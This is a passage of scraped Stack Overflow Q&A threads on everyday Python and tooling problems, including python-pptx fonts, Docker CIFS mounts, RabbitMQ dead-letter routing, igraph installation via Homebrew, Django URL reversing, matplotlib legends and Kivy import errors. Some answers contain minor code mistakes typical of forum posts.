feeling that I just lack a fundamental understanding of what I'm trying to do
but I can't find anything missing.
I'm running Python 2.7, windows 7, chrome 43.0.2357.81 m.
**EDIT:** I got rid of the extra quotation mark. Now it only seems to update
when it gets to 60 (which I guess is better than not at all...) Why would it
wait until the end of the function to send the event?
Answer: You've got 2 sets of quotes after p id="log""
|
Changing font for part of text in python-pptx
Question: I'm using the python-pptx module to create presentations. How can I change the
font properties only for a part of the text?
**I currently change the font like this:**
# first create text for shape
ft = pres.slides[0].shapes[0].text_frame
ft.clear()
p = ft.paragraphs[0]
run = p.add_run()
run.text = "text"
# change font
from pptx.dml.color import RGBColor
from pptx.util import Pt
font = run.font
font.name = 'Lato'
font.size = Pt(32)
font.color.rgb = RGBColor(255, 255, 255)
Thanks!
Answer: In PowerPoint, font properties are applied to a _run_. In a way, it is what
defines a run; a "run" of text sharing the same font treatment, including
typeface, size, color, bold/italic, etc.
So to make two bits of text look differently, you need to make them separate
runs.
|
Docker - Mount Windows Network Share Inside Container
Question: I have a small Python application that I'd like to run on Linux in Docker
(using boot2docker for now). This application reads some data from my Windows
network share, which works fine on Windows using the network path but fails on
Linux. After doing some research I figured out how to mount a Windows share on
Ubuntu. I'm attempting to implement the dockerfile so that it sets up the
share for me but have been unsuccessful so far. Below is my current approach,
which encounters operation not permitted at the mount command during the build
process.
#Sample Python functionality
import os
folders = os.listdir(r"\\myshare\folder name")
#Dockerfile
RUN apt-get install cifs-utils -y
RUN mkdir -p "//myshare/folder name"
RUN mount -t cifs "//myshare/folder name" "//myshare/folder name" -o username=MyUserName,password=MyPassword
#Error at mount during docker build
#"mount: error(1): Operation not permitted"
#Refer to the mount.cifs(8) manual page (e.g. man mount.cifs)
**Edit** Not a duplicate of [Mount SMB/CIFS share within a Docker
container](http://stackoverflow.com/questions/27989751/mount-smb-cifs-share-
within-a-docker-container). The solution for that question references a fix
during `docker run`. I can't run `--privileged` if the docker build process
fails.
* * *
**Q: What is the correct way to mount a Windows network share inside a Docker
container?**
* * *
Answer: You are correct that you can only use `--privileged` during `docker run`. You
cannot perform `mount` operations without `--privileged`, ergo, you cannot
perform mount operations during the `docker build` process.
This is probably by design: the goal is that a Dockerfile is largely self
contained; anyone should be able to use your `Dockerfile` and other contents
in the same directory to generate the same image; linking things to an
external mount would violate this restriction.
However, your question says that you have an application that needs to read
some data from a share so it's not clear why you need the share mounted during
`docker build`. It sounds like you would be better off building an image that
will launch your application as part of `docker run`, and possibly use [docker
volumes](https://docs.docker.com/userguide/dockervolumes/#mount-a-host-
directory-as-a-data-volume) to access the share rather than attempting to
mount it inside the container.
|
Python urllib timeout error even with headers for certain websites
Question: I'm writing a simple Python 3 script to retrieve HTML data. Here's my test
script:
import urllib.request
url="http://techxplore.com/news/2015-05-audi-r8-e-tron-aims-high.html"
req = urllib.request.Request(
url,
data=None,
headers={
'User-agent': 'Mozilla/5.0 (X11; U; Linux i686) Gecko/20071127 Firefox/2.0.0.11',
'Referer': 'http://www.google.com'
}
)
f = urllib.request.urlopen(req)
This works fine for most websites but returns the following error for certain
ones:
urllib.error.URLError: <urlopen error [Errno 110] Connection timed out>
The URL shown in the script is one of the sites that returns this error. Based
on research from other posts and sites, it seems like manually setting the
user-agent and/or the referer should solve the problem, but this script still
times out. I'm not sure why this is occurring only for certain websites, and I
don't know what else to try. I wold appreciate any suggestions the community
could offer.
Answer: I tried the script again today without changing anything, and it worked
perfectly. Looks like it was just something strange going on with the remote
web server.
|
RabbitMQ - routing messages after they reach their expiration time
Question: I've recently found out RabbitMQ feature that allows you to delay messages and
it works great although I couldn't find any examples similar to what I need:
Let's say there are 3 types of messages: A, B and C. We've got 2 delay_queues
with 1 hour and 2 hours `'x-message-ttl` values. There are also 3 types of
destination_queues - each for specific message type.
What I would like to achieve is after the message in one of the delay_queues
reaches its TTL it's going to be routed to one of the destination_queues
depending on its type. Something like this:
Is this even possible using RabbitMQ message properties? Any ideas? My code
sending messages to the delay queue (after expiration they're sent to hello
queue):
#!/usr/bin/env python
import pika
connection = pika.BlockingConnection(pika.ConnectionParameters(
'localhost'))
channel = connection.channel()
channel.confirm_delivery()
channel.queue_declare(queue='hello', durable=True)
channel.queue_bind(exchange='amq.direct',
queue='hello')
delay_channel = connection.channel()
delay_channel.confirm_delivery()
delay_channel.queue_declare(queue='hello_delay', durable=True, arguments={
'x-message-ttl' : 3600000,
'x-dead-letter-exchange' : 'amq.direct',
'x-dead-letter-routing-key' : 'hello'
})
while 1 :
delay_channel.basic_publish(exchange='',
routing_key='hello_delay',
body="test",
properties=pika.BasicProperties(delivery_mode=2))
print "Sent to delay queue"
Answer: When messages expire because they reach the imposed TTL, they can be
redirected to a [dead-letter exchange](https://www.rabbitmq.com/dlx.html),
that's what I think you are using implicitly to move messages to a further
queue after they are expired.
You can select different destination queues by using the original routing-keys
of the messages, or eventually "CC" and "BCC" message headers.
|
How to scale up picture in Python?
Question: I am really do not know how to scale up a part of picture. I need scale up
someone's nose.
Example:
def scaleUp():
pic=makePicture(pickAFile())
width=getWidth()
height=getHeight()
Answer: You can use
[Pillow](http://pillow.readthedocs.org/en/latest/reference/Image.html) library
to do that:
import Image
infile = "test.png"
outfile = "test_resized.jpg"
size = (1024, 768)
im = Image.open(infile)
print im.size # Size in pixels
# Resize:
im.resize(size, Image.ANTIALIAS)
im.save(outfile, "JPEG")
|
error importing igraph
Question: On importing igraph in python, I get an error (see below). Since igraph is not
part of anaconda, I executed the below outlined steps for installation.
What is libglpk.35.dylib, how should I load it, and why is this problem
occurring?
## igraph cannot be imported
'' import igraph
'' Traceback (most recent call last):
'' File "<stdin>", line 1, in <module>
'' File "/Users/claushaslauer/anaconda/lib/python2.7/site-packages/igraph/__init__.py", line 34, in <module>
'' from igraph._igraph import *
'' ImportError: dlopen(/Users/claushaslauer/anaconda/lib/python2.7/site-packages/igraph/_igraph.so, 2): Library not loaded: /usr/local/lib/libgmp.10.dylib
'' Referenced from: /usr/local/lib/libglpk.35.dylib
'' Reason: image not found
## installation steps
1. install homebrew via `ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"`
2. install pkg-config (via [igraph-help](https://lists.gnu.org/archive/html/igraph-help/2015-03/msg00013.html)) `brew install pkg-config`
3. install igraph via homebrew: `brew install igraph`
4. link: `brew install homebrew/science/igraph`
5. `pip install python-igraph`
## following suggestions from Evert:
1. `brew uninstall igraph`
2. `brew uninstall gmp`
3. `brew uninstall glkp` \-- `Error: No such keg: /usr/local/Cellar/glkp`
4. `brew install igraph`
==> Installing igraph from homebrew/homebrew-science ==> Installing igraph
dependency: gmp ==> Downloading
<https://homebrew.bintray.com/bottles/gmp-6.0.0a.yosemite.bottle>. Already
downloaded: /Library/Caches/Homebrew/gmp-6.0.0a.yosemite.bottle.tar.gz ==>
Pouring gmp-6.0.0a.yosemite.bottle.tar.gz Error: The brew link step did not
complete successfully The formula built, but is not symlinked into /usr/local
Could not symlink include/gmp.h Target /usr/local/include/gmp.h already
exists. You may want to remove it: rm '/usr/local/include/gmp.h'
To force the link and overwrite all conflicting files: brew link --overwrite
gmp
To list all files that would be deleted: brew link --overwrite --dry-run gmp
Possible conflicting files are: /usr/local/include/gmp.h
/usr/local/lib/libgmp.a ==> Summary /usr/local/Cellar/gmp/6.0.0a: 15 files,
3.2M ==> Installing igraph ==> Downloading
<https://homebrew.bintray.com/bottles-science/igraph-0.7.1.yosemi> Already
downloaded: /Library/Caches/Homebrew/igraph-0.7.1.yosemite.bottle.tar.gz ==>
Pouring igraph-0.7.1.yosemite.bottle.tar.gz /usr/local/Cellar/igraph/0.7.1: 83
files, 6.4M
* what does "Error: The `brew link` step did not complete successfully" imply?
* I don't see anything related to `/usr/local/lib/libglpk.35.dylib` \-- when I call python now, the same error occurs as before.
## Solution with Evert's help
thanks Evert for the additional answer. With this content, I can import igraph
now. Three things to note:
1. When I say `brew tap homebrew/sciene`, log in with my github credentials, I get
remote: Repository not found.
fatal: repository 'https://github.com/Homebrew/homebrew-sciene/' not found
Error: Failure while executing: git clone https://github.com/Homebrew/homebrew-sciene /usr/local/Library/Taps/homebrew/homebrew-sciene --depth=1
I am not sure how critical this is, as it turned out, I can run igraph without
this. However, the URL `https://github.com/Homebrew/homebrew-sciene/` produces
a 404 error for me.
2. `brew search glpk` and `brew search igraph` both return the one line output pointing to `homebrew/science/...`
3. `brew link --overwrite gmp` says it created 11 symlinks. I think this is what solved my issue so now I can import igraph fine in python.
Thanks for your help.
Answer: The `glpk` dependency is missing, because when installing `igraph`, only the
default packages are searched for. `glpk` lives, just like `igraph`, in an
extra homebrew repository called
[homebrew/science](https://github.com/homebrew/homebrew-science). You can
automatically access that repository by "tapping" it:
brew tap homebrew/science
Now, all packages included in this repository are also searched for. To
confirm, try and see if the following two commands give just the package name
back:
brew search glpk
brew search igraph
* * *
Before reinstalling `igraph`, you have to fix the link issue with `gmp`; this
is just a result of homebrew not completely uninstalling `igraph` and its
dependencies during the uninstall step. For this, you can follow homebrew's
suggestion:
brew link --overwrite gmp
(You're overwriting the `gmp` package with the previously and still partly
installed `gmp` package; they are the same, so no harm is done.)
* * *
Now, you should be able to install igraph:
brew install igraph
If this also gives a warning/error about links, use the same `--overwrite`
option as for `gmp`.
In case `brew install igraph` did not install `glpk` (i.e., you didn't see a
message like "==> Installing igraph dependency: glpk"), you can simply install
it separately:
brew install glpk
Give or take a minor detail, you should now have a working igraph installation
(and, since you never uninstalled python-igraph, this should also still work).
|
Panda3d error No module named direct.showbase.ShowBase in python 2.7
Question: I already checked ( in stack exchange and other sites) and googled my problem
but all solution seems useless. Here's the problem :
My computer had win xp and had python2.7 and panda3d (version 1.8.1) installed
(python in D: and panda3d in C: ). The module was working perfectly.
Unfortunately I had to format my C drive.
I upgraded to win 7 instead of installing xp again after formatting. Now I had
python 2.7 in my D: drive (Which had not been formatted) working perfectly
well and only had to install panda in the c: drive at same location again to
make my panda files work.
I installed and followed each and every instruction while installing. ( I
already had a panda.pth file in my python at my D: drive so no need to make a
panda.pth file again). An option came which asked me whether I want to replace
existing python and I clicked No as I had done the same the previous time. Now
as I had one panda.pth file available in D:/python27 I did not go for creating
another and tried to run the following line :
from direct.showbase.ShowBase import ShowBase
Which resulted in the above error. So I deleted my pth file in python27 folder
and created again. Nothing worked. I completely removed python and panda3d and
reinstalled the complete thing again and made a .pth file again. Still nothing
works.
Then on one of the site I visited told me to check my path variables
PYTHONHOME and PYTHONPATH but no such path variables are there.
I'm in total distress and none of my panda files are now starting.(Dont mark
this Q as duplicate as I have already tried the other solutions in previous
replied to the same Q. My problem is certainly different)
Help me!
Answer: Panda3D ships with its own copy of Python 2.7. You can invoke it by running
ppython.exe.
You can use a different version of Python, as long as it is the same major
version (2.7) and as long as it is the same architecture (should be 32-bit, as
Panda3D 1.8.1 is 32-bit). This means putting a panda.pth file in the site-
packages directory, containing absolute paths to the root directory and the
"bin" directory of your Panda3D installation, each on a separate line.
You could also install Panda3D 1.9.0, which will ask you during the
installation whether you'd like to use an existing Python 2.7 installation, if
it finds a compatible one already installed.
|
python to understand human friendly (plain English) date specification
Question: Is there an existing Python package that integrates with `datetime` and
understands human-friendly date specification format, somewhat similar to how
`/usr/bin/date` on `GNU Linux` does it?
$ date -d 'today'
Thu May 28 14:01:15 XXX 2015
$ date -d 'tomorrow'
Fri May 29 14:01:23 XXX 2015
$ date -d 'this Sunday'
Sun May 31 00:00:00 XXX 2015
$ date -d 'Wednesday next week'
Wed Jun 10 00:00:00 XXX 2015
Answer: [`parsedatetime`](https://pypi.python.org/pypi/parsedatetime/?) may be
helpful:
import datetime as DT
import parsedatetime as pdt
p = pdt.Calendar()
for text in ('today', 'tomorrow', 'this Sunday', 'Wednesday next week', 'next week Wednesday', ):
timetuple, flag = p.parse(text)
date = DT.datetime(*timetuple[:6])
print('{:20} --> {}'.format(text, date))
yields
today --> 2015-05-28 09:00:00
tomorrow --> 2015-05-29 09:00:00
this Sunday --> 2015-05-31 09:13:46
Wednesday next week --> 2015-06-01 09:00:00
next week Wednesday --> 2015-06-03 09:00:00
But notice that `Wednesday next week` is parsed incorrectly.
|
How to convert an input number 34,6 to decimal form 34.6 in Python
Question: How to convert an input number 34,6 to decimal form 34.6 in python? I made
simple program in pyqt4 GUI and in Germany the Germans consider "," as "." so
how can I convert my input "a" (line Edit) number to decimal ?
def test(self):
a = int(self.ui.lineEdit.text())
b = int (self.ui.lineEdit_2.text())
Result = math.pow((a+b),2)
self.ui.lineEdit_3.setText(str(Result))
Answer: As per in : [Here](http://stackoverflow.com/questions/6633523/how-can-i-
convert-a-string-with-dot-and-comma-into-a-float-number-in-python)
Try this
from locale import *
setlocale(LC_NUMERIC, '') # set to your default locale; for me this is
# 'English_Canada.1252'. Or you could explicitly specify a locale in which floats
# are formatted the way that you describe, if that's not how your locale works :)
atof('123,456') # 123456.0
# To demonstrate, let's explicitly try a locale in which the comma is a
# decimal point:
setlocale(LC_NUMERIC, 'French_Canada.1252')
atof('123,456') # 123.456
Maybe your code could be:
from locale import *
def test(self):
setlocale(LC_NUMERIC, 'French_Canada.1252')
a = atof(self.ui.lineEdit.text())
b = atof(self.ui.lineEdit_2.text())
Result = math.pow((a+b),2)
self.ui.lineEdit_3.setText(str(Result))
|
Django: How to change the page at the click of a line?
Question: I'm trying to make some views in Ddjango when i click on a line in a tag in
HTMl and i need some advise and please take into account that i'm a beginner
in Django. Indeed, i would like to change my view when i click on it, what
will open a new view called like the `Hash` inside my tag. Let me explain you
with this code called `bap2pmonitoring.html`:
{% load staticfiles %}
<!DOCTYPE html>
<html lang="fr">
<head>
<link rel="stylesheet" type="text/css" href="{% static 'css/style.css' %}" />
</head>
<body>
<h1> BAP2P Monitoring</h1>
<table>
<tr>
<th width=550 height=20>Torrent Hash</th>
<th width=720 height=20>Torrent Name</th>
<th width=120 height=20>Size</th>
<th width=170 height=20>Active Peers</th>
</tr>
{% for torrent in torrents %}
<p id="demo">
<tr bgcolor=eeeeee>
<td width=550 height=20><a href="{{ url 'hash' torrent.Hash }}">{{ torrent.Hash }}</a></td>
<td width=720 height=20>{{ torrent.Name }}</td>
<td width=120 height=20>{{ torrent.Size }}</td>
<td width=170 height=20></td>
</tr>
</p>
{% endfor %}
</table>
</body>
</html>
I obtain thus this result:
![enter image description here][1]
My idea is that when i click in one of these 2 lines, it render a new view
with informations about this torrent with the hash of the torrent as url like
this:
127.0.0.1:8000/torrents/606d4759c464c8fd0d4a5d8fc7a223ed70d31d7b
Following the Django tutorial, i tried lot's of things without success and
then i tried a "onclick" to start one of my def in my `view.py` like this:
from django.shortcuts import render_to_response
from django.template import Template , Context
from polls.models import Torrent
# Create your views here.
# -*- coding: utf-8 -*-
def home(request):
return render_to_response('mysite/bap2pmonitoring.html', {'torrents':Torrent.objects.all()})
def details(request, torrent_hash):
return render_to_response('mysite/detail_torrent.html', {'torrents':Torrent.objects.filter(hash=torrent_hash)})
I also tried to display the hash as an url like this in `urls.py`:
from django.conf.urls import patterns,include, url
from django.contrib import admin
from polls.models import Torrent
urlpatterns = patterns('polls.views',
url(r'^torrents$', 'home', name = 'home'),
url(r'^torrents/(?P<torrent_hash>)/$', 'details', name = 'hash'),
url(r'^admin/', include(admin.site.urls)),
)
I don't understand how can i resolve this, any idea are welcomed and
appreciated
Now i'm obtaining this error page:
NoReverseMatch at /torrents
Reverse for 'hash' with arguments '(u'606d4759c464c8fd0d4a5d8fc7a223ed70d31d7b',)' and keyword arguments '{}' not found. 1 pattern(s) tried: ['torrents/(?P<torrent_hash>)/$']
And this Traceback:
Environment:
Request Method: GET
Request URL: http://127.0.0.1:8000/torrents
Django Version: 1.8.1
Python Version: 2.7.3
Installed Applications:
('django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'polls')
Installed Middleware:
('django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.auth.middleware.SessionAuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
'django.middleware.security.SecurityMiddleware')
Template error:
In template /home/florian/Documents/mysite/templates/mysite/bap2pmonitoring.html, error at line 23
Reverse for 'hash' with arguments '(u'606d4759c464c8fd0d4a5d8fc7a223ed70d31d7b',)' and keyword arguments '{}' not found. 1 pattern(s) tried: ['torrents/(?P<torrent_hash>)/$']
13 : <tr>
14 : <th width=550 height=20>Torrent Hash</th>
15 : <th width=720 height=20>Torrent Name</th>
16 : <th width=120 height=20>Size</th>
17 : <th width=170 height=20>Active Peers</th>
18 : </tr>
19 :
20 : {% for torrent in torrents %}
21 : <p id="demo">
22 : <tr bgcolor=eeeeee>
23 : <td width=550 height=20><a href=" {% url 'hash' torrent.Hash %} ">{{ torrent.Hash }}</a></td>
24 : <td width=720 height=20>{{ torrent.Name }}</td>
25 : <td width=120 height=20>{{ torrent.Size }}</td>
26 : <td width=170 height=20></td>
27 : </tr>
28 : </p>
29 : {% endfor %}
30 :
31 : </table>
32 :
33 : </body>
Traceback:
File "/usr/local/lib/python2.7/dist-packages/django/core/handlers/base.py" in get_response
132. response = wrapped_callback(request, *callback_args, **callback_kwargs)
File "/home/florian/Documents/mysite/polls/views.py" in home
8. return render_to_response('mysite/bap2pmonitoring.html', {'torrents':Torrent.objects.all()})
File "/usr/local/lib/python2.7/dist-packages/django/shortcuts.py" in render_to_response
39. content = loader.render_to_string(template_name, context, using=using)
File "/usr/local/lib/python2.7/dist-packages/django/template/loader.py" in render_to_string
99. return template.render(context, request)
File "/usr/local/lib/python2.7/dist-packages/django/template/backends/django.py" in render
74. return self.template.render(context)
File "/usr/local/lib/python2.7/dist-packages/django/template/base.py" in render
209. return self._render(context)
File "/usr/local/lib/python2.7/dist-packages/django/template/base.py" in _render
201. return self.nodelist.render(context)
File "/usr/local/lib/python2.7/dist-packages/django/template/base.py" in render
903. bit = self.render_node(node, context)
File "/usr/local/lib/python2.7/dist-packages/django/template/debug.py" in render_node
79. return node.render(context)
File "/usr/local/lib/python2.7/dist-packages/django/template/defaulttags.py" in render
217. nodelist.append(node.render(context))
File "/usr/local/lib/python2.7/dist-packages/django/template/defaulttags.py" in render
507. six.reraise(*exc_info)
File "/usr/local/lib/python2.7/dist-packages/django/template/defaulttags.py" in render
493. url = reverse(view_name, args=args, kwargs=kwargs, current_app=current_app)
File "/usr/local/lib/python2.7/dist-packages/django/core/urlresolvers.py" in reverse
579. return force_text(iri_to_uri(resolver._reverse_with_prefix(view, prefix, *args, **kwargs)))
File "/usr/local/lib/python2.7/dist-packages/django/core/urlresolvers.py" in _reverse_with_prefix
496. (lookup_view_s, args, kwargs, len(patterns), patterns))
Exception Type: NoReverseMatch at /torrents
Exception Value: Reverse for 'hash' with arguments '(u'606d4759c464c8fd0d4a5d8fc7a223ed70d31d7b',)' and keyword arguments '{}' not found. 1 pattern(s) tried: ['torrents/(?P<torrent_hash>)/$']
Answer: You'll need to:
change the context for your detail view to access only a single torrent, and
also include your argument from the URL:
details(request, torrent_hash):
return render_to_response('mysite/detail_torrent.html', {'torrent':Torrent.objects.filter(hash=torrent_hash)})
use a URL like this, which passes through your torrent hash to the view:
url(r'^torrents/(?P<torrent_hash>)/$', 'details', name = 'hash'),
You'll also need your detail_torrent.html template, which you can then use
your 'torrent' context in.
Edit to pre-empt another question:
In your main template, you can use this change to link through to the torrent.
You are then passing the torrent.Hash variable through to your URL as the
argument, which will be used for torrent_hash in the URL regex:
{% for torrent in torrents %}
<p id="demo">
<tr bgcolor=eeeeee>
<td width=550 height=20><a href="{{ url 'hash' torrent.Hash }}">{{ torrent.Hash }}</a></td>
<td width=720 height=20>{{ torrent.Name }}</td>
<td width=120 height=20>{{ torrent.Size }}</td>
<td width=170 height=20></td>
</tr>
</p>
{% endfor %}
|
Add a list of labels in Pythons matplotlib
Question: I have a 3 dimensional plot in matplotlib, the input data consists of 3 lists
of x,y,z coordinates and a list of labels that indicates which class each
coordinate set belongs too. From the labels I create a colour list that then
assigns a colour to each of coordinates.:
x_cords = projected_train[:,0]
y_cords = projected_train[:,1]
z_cords = projected_train[:,2]
fig = plt.figure()
ax = fig.add_subplot(111, projection='3d')
colors = ['#008080',...,'#000000']
plotlabels = ['Acer campestre L',...,'Viburnum tinus']
#Creating colorlist from labels indexes
colors = np.asarray(colors)
colorslist = colors[labels]
ax.scatter(x_cords, y_cords, z_cords, color=colorslist)
plt.show()
the labels list is created in the same fashion as the colour list:
labels = np.asarray(labels)
plotlabelslist = plotlabels[labels]
But when I add the labels to the plot:
ax.scatter(x_cords, y_cords, z_cords, color=colorslist, label=plotlabelslist)
plt.legend(loc='upper left')
I get the following result:
I have tried other ways of adding the labels but without any luck, are there
any ways of adding a list of labels just as the colours are added, or do I
have to plot every class one by one and add the labels, like in the answer
from: [How to get different colored lines for different plots in a single
figure?](http://stackoverflow.com/questions/4805048/how-to-get-different-
colored-lines-for-different-plots-in-a-single-figure)
any help or nudge in the right direction would be much appreciated!
Answer: Would this work for you? [](http://i.stack.imgur.com/PqxQL.png)
import numpy as np
from mpl_toolkits.mplot3d import Axes3D
import matplotlib.pyplot as plt
x_cords = [1,2,4,2,5,3,2,5,3,4,6,2,3,4,5,3,4,2,4,5]
y_cords = [6,5,3,4,5,6,3,5,4,6,3,4,5,6,3,4,5,6,3,4]
z_cords = [3,1,3,4,2,4,5,6,3,4,5,6,2,4,5,7,3,4,5,6]
classlbl= [0,2,0,1,2,0,2,0,1,2,0,1,0,2,0,2,0,1,0,2]
colors = ['r','g','b']
Labels = ['RED','GREEN','BLUE']
fig = plt.figure()
ax = fig.add_subplot(111, projection='3d')
#plotlabels = ['Acer campestre L',...,'Viburnum tinus']
#Creating colorlist from labels indexes
colors = np.asarray(colors)
colorslist = colors[classlbl]
Labels = np.asarray(Labels)
labellist = Labels[classlbl]
# Plot point by point
for x,y,z,c,l in zip(x_cords, y_cords, z_cords,colorslist,labellist):
ax.scatter(x, y, z, color=c,label=l)
# Get the labels and handles
handles, labels = ax.get_legend_handles_labels()
# Filter the labels and handles to remove duplicates
newLeg=dict()
for h,l in zip(handles,labels):
if l not in newLeg.keys():
newLeg[l]=h
# Create new handles and labels
handles=[]
labels=[]
for l in newLeg.keys():
handles.append(newLeg[l])
labels.append(l)
# Create new Legend
ax.legend(handles, labels)
plt.show()
|
Python - Access a function in a child class
Question: I am rewriting a Tkinter program of mine and I want to separate the logic and
UI into two different files: `main.py`, `ui.py`
In main we have a class `MainApp()` which handles all of the core
functionality of the program.
In ui we have a class `BaseApp()` which is responsible for rendering the UI
and doing all of those kind of things.
I have `BaseApp()` be a child of `MainApp()`, like this:
**main.py**
class MainApp():
def __init__(self):
#some code here
**ui.py**
import main
class BaseApp(main.MainApp):
def __init__(self):
main.MainApp.__init__(self)
#render UI here e.g...
mybtn = tkinter.Button(self.root, text="Hey StackOverflow", command=main.myFunction)
This all works fine. I got a long way into making this system without any
issues... then I hit an issue.
I want to be able to call UI code from `main`. I need functions in the
`MainApp(`) class in the `main` module to be able to display popups and create
`Toplevel` windows defined in classes in the ui module.
If `MainApp()` derives from `BaseApp()` then I can display the popups but the
UI has access to none of the main features. If `BaseApp()` derives from
`MainApp()` as above then the UI can access the logic but I cannot create any
windows, e.g. `ui.ProgressWindow`, `ui.Alert` from the `main` module when I
need to.
Answer: The solution would be to import the UI module from main, and initialize
`BaseApp()` inside the constructor of `MainApp()` while passing it a reference
to `self` that `BaseApp` can later use to reference the logic functions.
`MainApp` would also retain a reference to `BaseApp` that it can use to call
UI functions.
class MainApp:
def __init__(self):
self.UI = BaseApp(self)
**Update:** In response to the circular import issue, it probably is best to
put both classes in the same file. The functionality would still remain the
same since the logic and UI functions would still be in different classes.
|
file writing permission error as user www-data
Question: I am trying to write to a file by running a python script as user www-data.
When I run the script using the following:
sudo python my_script.py
it writes fine. When I run the PHP script as www-data it doesn't write.
Permissions:
folder(PiControl....contains status_log file): drwxrwxrwx
file(status_log....the file I am trying to write to): -rwxrwxrwx User:www-data group:www-data
writing to file Python code:
#!/usr/bin/python
import datetime
status="on"
with open("status_log", "a") as myfile:
myfile.write("{} {} {}".format("<br>light is now:", status,datetime.datetime.now()))
I created a webpage button to run the file
Can someone tell me what to change here?
Answer: Because I had symlink'ed my web files from my home directory when the PHP read
status_log they found it in my local directory, when www-data wrote to it (via
the Python above) it created the file in /var/www, instead of /home where I
was trying to read it from.
The solution was to change the path of the file being read to its location in:
/var/www
|
Python csv from database query adding a custom column to csv file
Question: here is what I try to achieve my current code is working fine I get the query
to run on my sql server but I will need to gather information from several
servers. How would I add a column with the dbserver listed in that column?
import pyodbc
import csv
f = open("dblist.ini")
dbserver,UID,PWD = [ variable[variable.find("=")+1 :] for variable in f.readline().split("~")]
connectstring = "DRIVER={SQL server};SERVER=" + dbserver + ";DATABASE=master;UID="+UID+";PWD="+PWD
cnxn = pyodbc.connect(connectstring)
cursor = cnxn.cursor()
fd = open('mssql1.txt', 'r')
sqlFile = fd.read()
fd.close()
cursor.execute(sqlFile)
with open("out.csv", "wb") as csv_file:
csv_writer = csv.writer(csv_file, delimiter = '!')
csv_writer.writerow([i[0] for i in cursor.description]) # write headers
csv_writer.writerows(cursor)
Answer: You could add the extra information in your sql query. For example:
select "dbServerName", * from table;
Your cursor will return with an extra column in front of your real data that
has the db Server name. The downside to this method is you're transferring a
little more extra data.
|
Having the Error "ImportError: No module named setupconfig" with kivy
Question: Trying to run the script in the question: [Kivy Text Input for Arabic
Text](https://stackoverflow.com/questions/30514853/kivy-text-input-for-arabic-
text).
from kivy.app import App
from kivy.uix.floatlayout import FloatLayout
from kivy.uix.textinput import TextInput
class EditorApp(App):
def build(self):
f = FloatLayout()
textinput = TextInput(text='Hello world', font_name='DroidKufi-Regular.ttf')
# import pdb; pdb.set_trace()
f.add_widget(textinput)
return f
if __name__ == '__main__':
EditorApp().run()
I have Ubuntu 14.04 and I have installed `Cython` with `apt-get` and `kivy`
with `pip` but still having this error:
[INFO ] [Logger ] Record log in /home/assem/.kivy/logs/kivy_15-05-28_2.txt
[INFO ] [Kivy ] v1.9.0
[INFO ] [Python ] v2.7.6 (default, Mar 22 2014, 22:59:38)
[GCC 4.8.2]
[INFO ] [Factory ] 173 symbols loaded
Traceback (most recent call last):
File "kivy.test.py", line 1, in <module>
from kivy.app import App
File "/usr/local/lib/python2.7/dist-packages/Kivy-1.9.0-py2.7-linux-i686.egg/kivy/app.py", line 324, in <module>
from kivy.uix.widget import Widget
File "/usr/local/lib/python2.7/dist-packages/Kivy-1.9.0-py2.7-linux-i686.egg/kivy/uix/widget.py", line 167, in <module>
from kivy.graphics.transformation import Matrix
File "/usr/local/lib/python2.7/dist-packages/Kivy-1.9.0-py2.7-linux-i686.egg/kivy/graphics/__init__.py", line 89, in <module>
from kivy.graphics.instructions import Callback, Canvas, CanvasBase, \
File "vbo.pxd", line 7, in init kivy.graphics.instructions (/tmp/easy_install-0Cj46_/Kivy-1.9.0/kivy/graphics/instructions.c:13615)
File "compiler.pxd", line 1, in init kivy.graphics.vbo (/tmp/easy_install-0Cj46_/Kivy-1.9.0/kivy/graphics/vbo.c:5217)
File "shader.pxd", line 5, in init kivy.graphics.compiler (/tmp/easy_install-0Cj46_/Kivy-1.9.0/kivy/graphics/compiler.c:2970)
File "texture.pxd", line 3, in init kivy.graphics.shader (/tmp/easy_install-0Cj46_/Kivy-1.9.0/kivy/graphics/shader.c:9955)
File "context_instructions.pxd", line 1, in init kivy.graphics.texture (/tmp/easy_install-0Cj46_/Kivy-1.9.0/kivy/graphics/texture.c:28975)
File "context_instructions.pyx", line 29, in init kivy.graphics.context_instructions (/tmp/easy_install-0Cj46_/Kivy-1.9.0/kivy/graphics/context_instructions.c:16774)
File "/usr/local/lib/python2.7/dist-packages/Kivy-1.9.0-py2.7-linux-i686.egg/kivy/core/image/__init__.py", line 52, in <module>
from kivy.setupconfig import USE_SDL2
ImportError: No module named setupconfig
How could I fix that?
Answer: I found an issue submitted to `kivy` about ["Setupconfig.py not installed with
pip"](https://github.com/kivy/kivy/issues/2850), they seems fixed and closed
it.
However, I fixed the error by re-installing `kivy` via `apt-get` instead of
`pip`. I followed the installation steps from [official
webpage](http://kivy.org/docs/installation/installation-linux.html):
$ sudo add-apt-repository ppa:kivy-team/kivy
$ sudo apt-get install python-kivy
|
How can I include only one folder from another repository in Git?
Question: I have a python module which looks like this.
|
|-- my_module/
|-- tests/
|-- .git/
I'd like to use it in another project. Normally submodules would suffice,
however, I'd rather just drop in the actual module without including anything
else into my app like so.
|-- .git/
|-- my_app/
|-- my_module/
Is there a way to only import a single folder using a git submodule?
> If I can't or if it's impractical, how else can I include a single folder
> from another git-tracked project while keeping it version controlled?
Answer: If you wish not to use git `submodule` you can simply checkout the desired
folder.
Since there is no explicit way to grab only folder from the repo you will have
to something manually like this:
- create your desired repositories (you already have it)
- write a script that loop over range of commits
- extract the desired folder content from the current commit
- commit the current folder
The problem with this is that you will not have the original SHA-1 since you
only committing partial section of the commit snapshot.
### Code sample
Your code should look something like:
for commit in $(git rev-list $branch)
do
if git ls-tree --name-only -r $commit | grep '<your desired path>'; then
// Process the commit content
git checkout <path>
git add ....
git commit ....
exit 0
fi
done
### Why cant I just pull out folder form git history?
The reason is simply the way git store its content.
> Git is stupid content tracker (Linus Tovalds)
Which means that git doesn't store the content in the same way we see it in
our working directory.
Git simply take a **snapshot** of the current file system (In real its little
bit more complicated and git use blobs, hunks, heuristics and much more) so in
order to extract specific content from the history you must `checkout` the
specific content from the the `commit` itself.
|
use python requests to post a html form to a server and save the reponse to a file
